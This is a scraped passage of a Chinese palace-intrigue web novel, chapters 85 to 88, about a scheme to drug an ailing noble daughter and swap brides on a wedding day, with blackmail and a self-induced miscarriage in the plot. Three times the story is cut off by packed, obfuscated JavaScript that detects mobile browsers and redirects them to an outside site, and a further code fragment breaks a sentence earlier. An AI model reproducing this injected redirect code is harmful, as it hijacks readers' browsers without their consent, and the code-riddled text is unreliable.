几人约在江月楼,都是寒窗苦读子弟,几人凑了好久的银子,才敢登门选了处角落桌子坐下。 “游兄才高八斗,如今还未入仕,便已经得到谢相的青睐,平步青云指日可待。” 同窗中不乏喜欢恭维他的人。 “游兄祖坟冒青烟了,这才得了谢相的眼,如若不然,谢家娇滴滴的嫡出姑娘凭什么要下嫁啊!” 当然,同窗里也有嫉妒游乾的人。 这话一出,酒桌上的人俱是一愣,相互看了几眼。 其实,游乾吹嘘的时候,他们都不太相信。 谢相官至一品,嫡出的女儿,想嫁皇子也是能嫁得的,凭什么会看上游乾这么个穷小子。 如果谢家只有独女,需要个入赘的女婿,倒也说得通,可谢相的儿子今年可是在甲榜上榜上有名,考得比他们在座的人都好许多,今后定也是个国之栋梁。 有这样的兄长,这样的父亲,谢家姑娘为何偏会被许配给游乾呢? “你们不知道吗?最近有人传说,谢家这位姑娘身子不好,现在正在昏迷不醒中。” “说不定就是因为这个,才要将谢姑娘下嫁给游兄呢!” 说话的人是个素来和游乾不太对付的人,这次也是在榜有名,看不起游乾攀龙附凤的惺惺作态。 酒桌上聊到这儿,他当然知无不言言无不尽,尽可能当着众人的面去打游乾的脸面。 游乾一下子脸色就变得很难看。 这不就是在说他只配娶个病秧子回家吗? “休得胡说!”游乾发了怒,“都是吃醉了酒吗?谢家姑娘岂是我等能随意讨论的?” 酒桌上一片寂静,可这件事在游乾的心里依旧烙下了印。 酒过三巡散场后,他叫来身边的那个小厮,命他去谢府附近,再去给日常和他传话的小丫头去碰头。 那小厮等了大半夜,都没能等到那小丫头,只能蔫巴巴地回了游宅。 “这么说,消息可靠,那谢家姑娘只怕是当真是病得起不来身,因此她身边的小丫头才不能出来和你传话。” “否则,这京城之中风言风语,影响到姑娘家的声誉,她也该派人来和你解释一番。” 游母拍桌笃定这件事印证了谢家姑娘身子不好的传闻。 游乾颓然坐在椅子上,难道自己就该这样放弃谢相这样的岳丈人家吗? —————— 重峦院中,谢荼仿佛做了一个很深很远的梦。 梦中的自己经历了一遍上一世自己死后的世界。 亲眼看着被毒死自己被冠上畏罪自杀的罪名,被狱卒用草席一卷随意扔进乱葬岗。 亲眼看着形如枯槁的姜鹤从战场杀回,将腐化为一副枯骨的自己从乱葬岗中挖出,再被他葬进自己刻着“爱妻之墓”的坟墓里。 当姜鹤以一柄匕首轻易结束自己性命,谢荼的心脏猛烈地跳动,险些跳出胸腔。 姜鹤他,竟然用情至此? 谢荼悠然睁开双眼,一直守在床边的吟心、典心喜极而泣,忙去叫太医进来仔细查看。 等到太医确定谢荼已闯过鬼门关之后,重峦院上下全都松了一口气。 待送走了太医,谢英一路蹦着进了内室:“荼儿,你可终于醒了!” 谢荼喃喃笑出声,一头乌黑浓密的长发安静地卷在枕边,衬托她的小脸消瘦了几分。 “我睡了多久?”她哑着嗓子问出声。 “三日了。”谢英嗓音带着哽咽,“你若是再不醒,我可就要去隆山寺中长跪了。” 谢荼开口呛了风,立刻咳嗽起来,整个身子蜷缩在一起,如陈旧老风箱一般“咔咔”作响。 吟心连忙端起床边的茶盏,倒了一杯温水送到她的嘴边,浅浅地喂了一些,认认真真在她背后替她顺了顺气,这才止住了咳嗽。 “幸好没有耽误哥哥的殿试。”谢荼心里惦记着谢英殿试,问了日子幸好还没到时间。 “不碍事,都是板上钉钉的事,如同囊中取物,定给妹妹取个前三名的头衔回来当药引。”谢英为了开解妹妹,浑不在意口出狂言。 谢荼靠在吟心身上,笑过之后才又提起谢芸来: “益晖堂那边可有什么处置?” 谢英抢着回答:“父亲发了大怒,不但让京兆府尹的官爷当众戳穿所谓‘半夜闹贼’的谎言,还将那丫头禁足在益晖堂的暖阁里,在她出嫁之前,不允许再踏出房门一步。” “老夫人呢?”谢荼神色淡淡,甚至没有称呼一声“祖母”。 “她……她没什么事,还在益晖堂吃斋念佛。”谢英踌躇着回答。 “所以益晖堂那头又弄出什么幺蛾子了吗?” 谢荼对益晖堂那头的两人很是了解,既然谢老夫人还是自由身,那么她为了那么个孙女,一定会有别的动作。 “姑娘,您病了的事情,眼下全京城的人都知道了。”典心满脸愤懑地说着,“本来姑娘就要到说亲的年龄了,现在京城中都传说姑娘您身子不好,病入膏肓,这不就是要断了姑娘说亲的前程吗!” “她这是想鸠占鹊巢,想要顶着谢家姑娘的名义堂堂正正嫁出去。”谢荼当即就明白了谢芸和谢老夫人的打算。 “我身子不好,那么谢相姻亲这条道就难走许多。”谢荼分析给他们听,“这时候,若有人知道谢府中还有这么一位娇养在谢老夫人膝下的堂姑娘,心思活泛的人就会打起她的主意来了。” “那么,她就不用掩藏在我的名下,偷偷摸摸含含糊糊地嫁出去,而是以谢府堂姑娘的身份出嫁。” “我病入膏肓,她这样的堂姑娘自然是承担着谢相的恩惠,今后几十年,谢相也会高看这个侄女、侄女婿一眼。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“似乎也是在犹豫不决,所以才派了小厮来求见。” 吟心将前日游乾和几名同窗在江月楼吃酒过程中发生的事情告诉了谢荼。 谢荼愣了愣神,摩挲着手指头开口道:“若想让他们二人狗咬狗,那就要让他们互相觉得,同对方成亲好处更多。” “你去寻你家哥哥,让他找些爱嚼舌根的人喝酒,就说……” 谢荼越说声音越低,却引得吟心大笑出声: “我看行,姑娘您呀,就安心养身体,等着他们狗咬狗一嘴毛吧!” —————— 一日过后,京城中关于谢家姑娘的传闻风向突变。 原本调侃游乾要娶个病秧子回家供着的那位书生,突然嫉妒大爆发,指着游乾的鼻子大骂他丢读书人的脸,惯会投机取巧。 被骂得一头雾水的游乾不明所以,追问之下才得知,谢相对这个女儿可谓是娇宠极致。 听说,就是因为这个女儿身子较弱,谢相才对她百般呵护。 前阵子更是放话,若是将来谁娶了这个女儿,谢家的家产,将分三分之二给女儿女婿,将来,谢家那个儿子,也要按照妹妹原本在家未嫁时的份例,月月给银子。 游乾酒过三巡,跌跌撞撞跑回家,捉着游母的手臂就喊: “娘,我们抓紧时间去过礼吧!” “我和谢家姑娘早有肌肤之亲,母亲用这件事去拿捏她们,催促她尽早和我完婚!” 86. 结亲 姜府,正屋,荣恩院。 长宁郡主跪在长案的蒲团前虔诚念经,桌上金塑释迦尼罗佛的面前,三支上好檀香缥缈若云,盘旋消散于屋檐之下。 姜鹤姜鹄陪同跪在一旁,垂头敛目,静静地等着长宁郡主发话。 “你们之前同我说的,我已细致考虑过,确实该警醒起来。”长宁郡主蓦地开口,打破这一室的宁静。 为了防止例诊王太医察觉,长宁郡主体内的余毒并未完全清除,只缓缓拔出,因此她的脸色透出青白色,恍若死人。 姜鹤面上一喜,刚要出声,就被跪在身边的大哥扯住衣服下摆。 “只是,你们父亲仍在前线坐镇,若我们姜家此时在京城里闹出动静,恐会打草惊蛇,惹来那暗处之人的忌惮。” 长宁郡主久病,说话声中气不足,且断断续续,如吊在半空中。 “因此,思来想去,也只能硬守,不能强攻。”她喘了喘,继续说道。 “鹄儿,你自幼聪慧,我说的,你都能明白吧?” 姜鹄双肩挺立,低头应声:“是,母亲尽管吩咐。” “殿试在即,每届状元榜眼探花郎选出之后,宫中都有宴请的惯例。既然你在京城里,今年的宴会,便是你去参加吧。” 姜鹤猛然抬头,不可置信地看着长宁郡主:“母亲!那宴席可是有宫中指婚的惯例,兄长去参加,岂不是成了砧板上任人宰割的鱼肉!” 姜家自他们兄弟二人幼时,就规划好他们人生路。 姜鹄为长,被姜家视为将来会继承定远将军衣钵的传人;而姜鹤则留在京城里扮演浪荡纨绔贵公子。 按照规划好的人生路,这种被宫中贵人拿捏婚事的桥段,应该落在姜鹤这样的姜家“废物”身上。 “你派了妈妈去谢相府上以我的名义送礼的事情,还打算瞒我多久?”长宁郡主掀起眼皮子瞥了他一眼,没好气地问道。 “我……”姜鹤窘然看向姜鹄。 “你不必看你兄长,我也没有再反对你追着谢家那个小丫头跑。” 长宁郡主伸出手,任由姜鹄眼疾手快地扶起来。 “既然那丫头帮了我们姜家,我们也不是那般怕事的人。”她提起谢愉恩在朝中的立场,“谢相几方不靠,却仍然屹立在朝中不倒,是个人物。” “我只是怕谢相不允许闺女和我们家来往,到时候你会更伤怀。” 姜鹤想起前几日在田庄中发生的事情,不知如何应答。 “你兄长说了,既然你和谢家丫头互相有情,我这个做母亲的又何必当那棒打鸳鸯的恶婆子?” “他有意挡在你身前,维护你和谢家丫头的真情,你也不要辜负你兄长的情义,需得好好拿下未来岳丈。” 姜鹤脸涨得通红,连连点头感激不已。 长宁郡主和姜鹄相互对视,都看到对方眼中散不开的浓重忧愁。 —————— 英国公即将在殿试之后求皇帝下旨册封嗣子的消息,如长着翅膀般,精准地飞进了益晖堂的大门里。 得到消息的谢老夫人再也坐不住,慌忙从暖榻上爬起来,被童妈妈扶着冲进了隔壁的暖阁中。 暖阁见方的大小,进屋后谢老夫人一眼便望到了坐在床榻前发呆的谢芸。 而在她手边的小茶几上,搁置着一碗药。 看着已经放置了很久,早已半凉没有热气。 “你这是要做什么!”谢老夫人步履蹒跚地冲到她的面前,端起那碗药狠狠砸到地上。 “砰——” 药碗被摔得四分五裂,碎瓷片子蹦到谢芸的脚边,差点儿划破她的脚面。 “祖母!”谢芸被这动静惊得一个激灵,抬头看向谢老夫人。 “这胎不能落!”谢老夫人用拐杖将那碎碗往一旁挑,满脸焦急。 谢芸面色哀怨,嗓音幽幽:“这孩子来得不是时候,我又有什么办法。” “游乾虽然不错,可若是我能嫁得更好,岂不是更圆满。” 谢老夫人双眉紧蹙,不甚赞同:“你之前的那个计划,太过冒险。” “你二伯谢愉恩不是个好拿捏的主,若是被他知晓,你在背后命人污损她宝贝女儿的名声,恐怕你在谢府又要待不下去了。” “祖母安心,她谢荼病重是事实,我也没有添油加醋,只不过是谢府下人口风不紧,这事儿才被人传了出去而已。” 提起谢荼,谢芸的面目狰狞,仿佛与她有什么深仇大恨般。 “芸儿,我得到消息,英国公将在殿试之后向陛下请旨,给嗣子册封。” “这可是到嘴边的富贵,你合该把握住。” 谢老夫人不是个好高骛远的人,她一贯觉得,拿在自己手中的才是最好的。 谢芸却不一样,她觉得可以嫁得更好。 “祖母,你……” 她还准备再劝说几句,门外突然传来小丫头的通传声。 “老夫人,游家夫人前来拜访,说有要事要和老夫人商量。” “游家夫人?”谢芸跳起来,“她来做什么?” 谢老夫人叹了一口气:“你和游乾已经过了庚帖,且我们已经收了聘礼,是正儿八经正在议亲的准亲家,怎么就不能来了?” “估摸着时间,她也许是来商议婚礼上的细节的。” “若是这时候同他们家说退亲,恐怕他们也不甘心。将来闹起来,你以后可怎么办?” 谢芸满不在意道:“反正他们也一直以为议亲的对象是谢家嫡女,让他们闹去。” “可是你二伯知道是在和你议亲!”谢老夫人恨铁不成钢地用拐杖点了点地面,“你在暖阁里待着,哪儿也不许去!” “我去和游家夫人探探口风。” 谢芸撇了撇嘴巴,看着谢老夫人铁青的脸,这才不情不愿地应声。 谢老夫人在益晖堂正堂与游家夫人见了面。 刚落座,游家夫人便迫不及待地说起了家中备婚事宜。 从新房的修葺,说到下人的配置,从席面预订以及酒水的买卖,事无巨细,如同给谢老夫人报账一般。 谢老夫人沉默着喝着茶盏,没有搭腔,心里琢磨着如何先把婚期往后推一推。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078644|126565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 游家夫人说了半晌话,口干舌燥,见谢老夫人没有吭声,便想起了最近京城中的传言,自以为体贴地开口道: “听说谢姑娘身上不太利索,病了有几日,不知是何病啊?” 见她提起“谢家姑娘”的病情,谢老夫人慢悠悠地开口道: “是,是有些不舒服,太医也在用药调理着,眼看婚期就要到了,不知这孩子能不能赶得上。” 游夫人端茶的动作一顿,她的眼中透出一丝意味不明。 “老夫人别着急,谢姑娘身子金贵,有太医院太医的悉心调理,一定能恢复如初。” 谢老夫人见话头引到这个地步,连忙道: “我也是怕这孩子身子太单薄,嫁过去之后还要连累亲家母和游公子照料。” “不如,婚期再往后延上一延,等孩子身子调养好了,咱们再办这桩喜事。” 游夫人心中冷笑,面上却不动声色: “不碍事的,我家儿心中惦记着姑娘,就想着能早日娶回家疼一疼,身子不好也不打紧,自古就有‘冲喜’这一说法。” “恰好这个月要举办殿试,届时皇恩浩荡,贵府公子摘个前三甲回来也不是什么难事。” “到时候喜上加喜,岂不快哉?” 谢老夫人没有防备游家夫人会提起谢英,甚至议论起几日后的殿试。 “正是他哥哥要备考殿试,他妹妹才不肯大张旗鼓地寻医问药,怕给他哥哥添乱,倒也不至于需要‘冲喜’。” “冲喜”,那是给将死之人用的。 若是谢芸以“冲喜”的名义出嫁,岂不是晦气万分? 游夫人沉默了一瞬,突然放下手中的茶盏,厉声说道: “谢老夫人呢,我尊您是长辈,便不再和您绕弯子。” “你家姑娘当真是病了吗?需要我找个大夫来探望一番吗?” “我顾念谢家的脸面,想着早日把这门婚事办妥,这才一次次上门叨扰。” “推迟婚期,亏你们想得出来的馊主意!” “你家姑娘的肚子,准备如何处置?” 听到这话,谢老夫人大惊失色,慌忙去看奉茶的小丫头。 那小丫头也是机灵,本是背着身站在廊下,听见屋子里主子们议论的事情,早就快步避开。 待谢老夫人确定屋子里仅他们三人后,才缓缓地吐出一口气。 “游夫人,这话是什么意思?” 游夫人冷哼了一声:“我儿子已经全都和我说了。” “难不成你们谢家还想让个破了身子,可能怀有身孕的姑娘,去嫁给旁人家?” “你们今日敢延期婚事,打退亲的主意,就不要怪我拿着他们定情信物去敲府衙的大门!” “你!”谢老夫人哽着一口气,脸涨得通红。 “好好一桩喜事,别搞得两家都没了面子。” “四月二十,我游家的花轿会准时到你谢府门口接人。” “若是到时候谢府没人出嫁,可就别怪我游家做事太狠了。” 游家夫人丢下一张婚礼行程清单,便甩袖而去。 87. 下药 谢芸就在隔壁暖阁,隔得不远,也听见了游家夫人这番话。 她气得七窍生烟。 若不是采露采雪拦着,多次言明她此刻应该是“卧病在床”的谢家姑娘,她就已经冲到那乡村妇人面前,狠狠打她的脸了! 谢老夫人也被气得不轻,待游家夫人走后,才满脸怒意回到暖阁。 “祖母!那乡村野妇竟然想威胁我们!”谢芸双目猩红,恨不得立马去游家撕了那泼妇。 “好了!闹什么闹!”谢老夫人再次狠狠地将手中的茶盏扔在地上,摔了个粉碎。 谢芸动作一顿,委委屈屈地看向谢老夫人:“祖母……” “你还好意思委屈?还好意思责怪他人!”谢老夫人脸色铁青,“若不是你自己不检点,和那游乾发生肌肤之亲,甚至还有贴身物件落在他的手上,我们又何必如此受人胁迫!” 谢芸涨红了一张脸,口中支支吾吾说不出话来。 她也没想到,那游乾竟然拿了她的贴身物什,怪不得她丢了一只荷包,她还以为路上匆忙丢了呢! 可是那乡野婆子竟然敢用这件事拿捏她,简直是奇耻大辱! 谢老夫人皱着眉头,喘着粗气道:“看来,你只能嫁给那游乾了。” “好在殿试之后,英国公就要正式认他为嗣子,你未来是英国公世子夫人,倒也不算太寒碜。” 谢芸握紧了手中的锦帕,恨声道:“既然他们那么迫不及待地要娶病秧子谢荼,那就让他们娶好了!” 谢老夫人心中一凛,轻声道:“这如何能娶?” 谢芸拉过谢老夫人的手,轻声道:“祖母糊涂,议亲的从来都是谢家和游家。” “既然游家不嫌弃那病秧子谢荼,甚至说要为她‘冲喜’,那我们就来一招‘偷龙转凤’吗,只要四月二十那日,花轿上了人从谢家抬走,那游家能说什么,谢家能说什么呢?” 谢老夫人面色一僵:“你要如何‘偷龙转凤’?” “你可别忘了,你现在是被你二伯父禁足在暖阁,根本出不去!” 谢芸甜甜一笑,拉着谢老夫人的手臂摇了摇,娇俏道: “可是我有个好祖母啊!祖母,你就帮帮我吧!” “你难道不想把那个野种扔出谢府?” 谢老夫人大惊失色:“你胡说些什么?什么野种?” 谢芸脸色冷了冷:“祖母和二伯父的谈话,我也略知一二。二伯父也正是因为这件事,才被祖母拿捏了。” “祖母放心,这等私密的大事,孙女绝对不会出去乱说的。” “但是,若是祖母执意想牺牲孙女的后半生幸福,那恕孙女无法从命,只能将谢荼的身世昭告天下,让谢家再无能与高门缔结姻缘的适龄嫡女!” 谢芸脸上挂着甜甜的笑意,说出来的话却是如蛇蝎鬼魅般的威胁之语。 “你!”谢老夫人只觉胸口气血上涌,直冲天灵盖,“你竟然这般威胁于我!” 谢芸口不择言,怒极之下,竟然将自己知道的秘事说了出来。 而她也知道自己不该如此泄露自己知道的秘事。 可眼见无法弥补此事,她别无他法,只得硬着头皮用这件事威胁谢老夫人。 “孙女言尽于此,祖母到底是想要亲生孙女好好嫁得高门,还是让那不知道哪里来的野种继续在谢家作威作福,全看祖母如何盘算了。” 谢芸冷着脸进了内室,独独留下谢老夫人坐在那儿发愣。 “老夫人。”童妈妈满脸担忧地上前,扶起谢老夫人。 谢老夫人蹒跚着被扶着回到自己的屋子。 直到坐在矮榻边,才深深叹了一口气:“作孽啊!” —————— “净作妖呗!还能怎么着!” 重峦院中,典心撇着嘴评价益晖堂暖阁里的那位。 重峦院上下被吟心管制得如同铁桶一般,谢荼已经清醒并逐渐恢复健康的消息,丝毫没有被透露出去。 但游家夫人再次上门的消息,并且面色古怪地离开的消息,却被事无巨细地传到了谢荼的耳朵里。 “听说,谢老夫人从暖阁出来的时候,脸色就很不好看,晚膳也没有用,把自己关在房中大半日都不曾叫小丫头进去服侍。” 典心说着听来的消息,当即便下了结论:“那死丫头肯定是又在琢磨着什么坏点子呢!” “不得胡说!”吟心厉声呵斥,“芸姑娘毕竟是主子,你怎能在背后妄议!这若是被旁人知晓,又要连累我们姑娘的‘治下无方’了!” “噢!”典心吐了吐舌头,低下头老实道,“我不说了。” 躺在暖榻上看着书的谢荼却适时开口: “典心说得没错,眼下谢芸不满足于嫁给游乾进英国公,想必定会在我们二人的身份上下手。” “因此,只怕她下一步,就要将手伸进我的院子里了。” 典心惊得丢掉手中帕子,三步并作两步跨到谢荼的身边: “那姑娘还等什么,还不趁着这个机会,让她彻底暴露真面目!” 谢荼慢悠悠翻过一页书页,柔声道:“不急不急,先让她放马过来。” “你们人手可以松些,让她以为能得逞,那才好玩。” 典心立刻明白了谢荼的用意,扬起笑脸:“得嘞!姑娘放心!这一回,一定让芸姑娘‘得逞’!” 当天,谢老夫人就带了人来探望谢荼。 “这么些日子过来,你们姑娘依旧没醒,定是你们这些做下人的没有尽心伺候!” 屋子里的几人跪在一旁,互相看着对方的眼睛没敢吭声。 “我留几个人在重峦院,照顾姑娘的饮食起居。” “若再是不醒,就别怪我不顾你们姑娘的脸面,将你们驱逐出府了!” 谢老夫人来看人是假,塞人进重峦院才是真。 不到一炷香的时间,她便带着童妈妈离开了谢荼的内室,去了熬药的小厨房转了两圈后,径直离开了重峦院。 “你们先下去吧,这儿有我们在,姑娘该擦洗了。” 吟心见人走远,便出声撵人。 留下来了两个小丫头互相看了看对方,这才应声告退。 “祖母这是老了,许久没有管过人,随手点了两个不中用的小丫头就想塞进来,想得未免太简单了些。” 谢荼躺在床榻上,睁开眼睛盯着床帐顶发呆。 也许是谢老夫人太轻敌了些,以为自己没有清醒,重峦院里便群龙无首,能任人拿捏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114479|126565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “姑娘,奴婢见谢老夫人的脸色并不好看,许是被芸姑娘威胁,这才不情不愿地替她安排这些。” 吟心心思透彻,从谢老夫人进门开始,便一直关注着几人的表情动向。 “不管情不情愿,她们都已经把主意打到咱们院子里来了,吟心姐姐可别因为什么孝悌人伦而心软。” 典心是个直肠子脾气,有什么说什么。 “那两个小丫头的家人性命可都捏在祖母手里,你们不要太为难,有机会就放她们动手脚。” “等你哥哥的人救下她们的家人,再想办法策反,为事发指证做准备。” 谢荼躺在床榻上,低声安排好了后面的事情。 这些日子人多眼杂,她必须装好“重病卧床”的假象。 有了谢荼这个主心骨的安慰,吟心和典心便开始在不经意间露出重峦院中的破绽。 时而因为忙着给谢荼喂药,而把小厨房空荡荡地留给谢老夫人安排进来的两个小丫头。 时而因为要给谢荼擦拭身体、翻身锻炼,而把放着茶杯茶盏的橱柜空落落地露在外间。 总之,在她们几人的故意为之的“努力”下,那两个小丫头很快就找到了动手的机会。 白色粉末刚刚落入熬药的陶罐中时,放风的小丫头就被人撂倒了。 等到下药的小丫头听到动静回头时,一只手迅速捂住了她的嘴巴,连着那被下药的陶罐,一并被送到了谢荼的内室前。 “吟心姐姐,您这是做什么?” 两个小丫头被反绑了双手,被吟心摁在了地上,不得动弹。 “奴婢们是被老夫人派来照顾姑娘的,姐姐这般绑了奴婢们,如何能向老夫人交代!” 年长一些的小丫头尚能顶几句嘴,年纪小一些的小丫头早就已经被吓傻了。 “你给姑娘的药罐中,放的是什么?”吟心指着地上的药罐大声喝问。 “没……没什么啊,姐姐看错了吧!” 人证物证俱在,年长的小丫头仍然不愿承认。 “来人,把人带上来。”吟心对屋外喊道。 不多时,几个被五花大绑塞了嘴巴的庄户人家,被扭送了进来。 “爹爹,娘亲!” “娘亲,哥哥!” 两个丫头同时哭喊出声。 “如今,你们的亲人都在这儿,有什么话还是趁早吐露了出来,否则,我把你们一起送去见官!” “这……这.......”两个小丫头仍然面露犹豫。 此时,湘妃竹帘之后,人影微动。 典心撩起竹帘,扶着谢荼从内室里走了出来。 “姑娘……你……”两个小丫头看着完好无损的谢荼,全都张大了嘴巴。 “我能把你们的亲人从老夫人的手中救出来,也能将他们再送回去。” “若是不交代,我就去和老夫人说,你们已经招了。” “到时候,你们亲人的性命还能不能留着,全看老夫人的成全了。” 谢荼说话的声音并不高,可字字句句落在两个小丫头的耳朵里,却如万斤般的沉重。 “说,奴婢说!奴婢全都说!” 两个小丫头扑在地上,高声痛哭道。 88. 偷换 “奴婢们不是家生子,而是卖了身契进的府。” “一直在益晖堂后院做些洒扫浆洗的粗活儿,不曾服侍过老夫人。” “但是前日,谢老夫人突然命人绑了我们的家人,胁迫我们进重峦院做一件事。” “老夫人说,只要我们按照她的吩咐见机行事,事成之后,便会给我们一大笔银子,并且送我们和家人团聚,离开京城再也不回来。” 典心冷笑一声,插嘴道:“简直是异想天开。” “让你们来重峦院,铁定不是什么好事。还给大笔银子,送你们团聚出京?下地府还差不多!” 那两个小丫头被吓了一跳,扑在地上抖如糠筛。 “你们别怕,典心虽然心直口快,说的却是事实。” 吟心见状,连忙出声道:“此等重要之事,寻常人定是会找亲信之人去办,最差也是会找知根知底的家生子,怎么会去找你们这样买进府里的人呢?” “更不要提还会给大笔银子,再完好将你们送出京城,这不是将把柄送出京城去吗?” “这……这……”两个小丫头面面相觑,却不敢不相信吟心所说的话。 “继续说吧,祖母派你们过来,应该不只是下药这么简单吧?” 谢荼摆了摆手,阻止吟心和典心继续扮演黑白脸。 “你们可知,这白色粉末是什么药?” 那两个小丫头头垂得更低了:“是……是一种能让人四肢乏力、精神疲倦,最终陷入昏迷的药。” “昏迷之后呢?让你们下了药之后,益晖堂那头还有什么后招?”典心追问。 “四月二十那日,芸姑娘出门时,会……奴婢们会把姑娘和芸姑娘进行调换。” “到时候,嫁出去的就是谢家二房的姑娘,留在家里的,才是京城谢府的……嫡出姑娘。” 典心的心一揪,狠狠捏了一把自己的拳头。 这也,太过分了! 这不就是让自家姑娘去给她谢芸填坑吗! 若这件事当真被他们做成了,那“京城谢府嫡出姑娘”这个身份,也被剥夺走了。 毕竟,任何高门大户,都不能出现“姐妹易嫁”这等荒唐事! 若等婚仪典礼结束,谢荼才发现自己被换了过去,再提出异议,将会弄得人尽皆知,那于谢相,于谢府,都是莫大的耻辱。 “今日之事,出了这道门,不要再有任何人知晓,包括益晖堂,能明白吗?” “明白,明白!”两个小丫头头点如捣蒜。 “你们继续按照益晖堂的两位的要求,在我的饮食或药物里下药。”谢荼嗓音慵懒,说出话的却让在场的人大吃一惊。 “姑娘!”典心急得跺脚。 “这,这,这可使不得啊姑娘!”两个小丫头全都吓傻了,跪在地上连连求饶,“姑娘,奴婢们知错了,这等伤害姑娘的歹事,奴婢们万万不敢。” “无妨。”谢荼指了指被绑着的几人道,“若想让你们亲人活命,就按照我的吩咐去做。” “益晖堂想达到怎样的目的,你们就怎样去安排、去透露。” 两个小丫头面面相觑,最后才沉沉磕头认下差事。 等屋子里的人走后,典心在屋子里团团转: “姑娘,此等凶险之事,还是让奴婢代为受罪吧!” “药让奴婢来喝,那花轿让奴婢来上,不管那游家是何种刀山火海,也就都让奴婢去闯!” “姑娘安心在咱们重峦院养病,凡事都让奴婢去做!” 一番剖白倾注了她一腔热血,字字句句慷慨激昂,捏着拳头仿佛立即就要上战场。 “你啊!还是缺些头脑。”谢荼看向典心,面上带着笑意,“我说让她们继续下药,继续透露我们院子里的消息,实则是为了让益晖堂的人放松警惕。” “按照常理,主子病重不醒,院子里的下人乱成一团也是常有的事情。” “更何况父亲现在根本不肯见我,那么谢府中自然会有些见风使舵的小人,趁机从重峦院中大捞一笔。” “此时此刻这样的重峦院,的确是益晖堂那边最好下手的时机。” “那我们就让益晖堂的人,误以为自己已经下手成功,那么四月二十那日,究竟是谁上花轿,谁也不清楚。” “至于那药,谁知道我到底喝没喝呢?” 典心一愣,等弄明白其中奥妙之后,旋即拍手大笑道:“还是姑娘厉害!奴婢就想不到这些真真假假的计谋。” “所以姑娘让你多读书少吵架,脑子用得越少就越笨。”吟心咧嘴笑道。 典心小脸儿一红,低声道:“我这不是……太懒了吗!” 见她理直气壮承认自己的懒惰,三人干脆笑成一团。 之后的事情便顺理成章。 两个小丫头每日深夜,在重峦院后院墙墙角处拿药粉,第二日加在谢荼的各色饮食之中。 谢荼依旧扮演好重病卧床的“病人”,吃着各种经过益晖堂加料的餐点、药物。 每日都能听见重峦院中下人们唉声叹气的声音,就连典心吟心都无暇顾及院中规矩,接连被那两个小丫头顺走好些个值钱物件。 这些看在谢芸的眼里,别提有多高兴了。 “祖母,真是天助我也!那谢荼本就身子弱,重病缠身,眼下连喝了我几日的药,只怕再也不会醒了!” “这件事已经有十成十的把握,祖母,您答应我的事情,可不要做不到啊!” 谢老夫人愁容满面,神情是说不出的憔悴。 她的手中紧紧捏着一只白色瓷瓶,指节发白,手腕微微颤抖着: “芸儿,这药虎狼至极,伤害极大,一着不慎,便极容易损伤身子。不如咱们请个大夫,好好熬一碗药落下胎之后,再用温补的药材调理好身子……” “祖母!”谢芸不悦打断谢老夫人的话,“您是想让全京城的人都看我的笑话吗?” “我……”谢老夫人双唇颤抖着,满脸的不忍心。 “祖母,您别忘了,如今我被二伯父禁足在益晖堂的暖阁中,能得用的人,只有您院里的几人,别说是请大夫了,就是往那医馆里看一看,都能被外院的人禀报给二伯父。” “用在谢荼身上的那两个丫头,若不是前几年您早就拿捏住她们的父母亲人,这一次,我们根本没有人可以用!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13138834|126565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢老夫人还想阻止,却被谢芸再次不耐烦地打断: “库房里人参燕窝多了去,只要祖母要一句,二伯父海似的就能送过来。” “如今我的月份小,落个胎不打紧,只要能嫁给高门,什么样的妇科圣手寻不到?肯定能将我的身子调养好!” 她一把夺过谢老夫人手中的瓷瓶,打开瓶盖一饮而尽: “进府之前我就备好了一切药,现在也是到了它们的用武之地了。” 她面色沉静且带着刚毅神色,静静地等待着腹中绞痛的到来。 不得不说,谢芸的运气当真是好。 那瓶药喝下去没多久,疼痛便发作了。 她蜷缩着身子躺在床上,咬着牙忍着许久痛楚,才由谢老夫人亲手从下身接过大片染着红色血迹的棉布。 没有血崩,落得也干净,谢芸没有受罪。 只是惨白了一张脸,指挥着童妈妈把那团红色棉布扔进了黑色炭盆中。 这件事,她不敢让第四个人知晓,只有三个人在屋子里。 等谢荼知道的时候,还是从益晖堂要了大量补气血的药材去,才得以猜测出来。 “这就叫‘舍不得孩子套不着狼’。”谢荼对谢芸竟然起了一丝敬佩之意,“她彻底断了自己嫁给游乾的退路,也让老夫人看清她嫁入高门的决心。” “亲手以这种方式弄掉自己第一个孩子,是个狠人。” 典心也跟着咋舌:“这也太可怕了。” 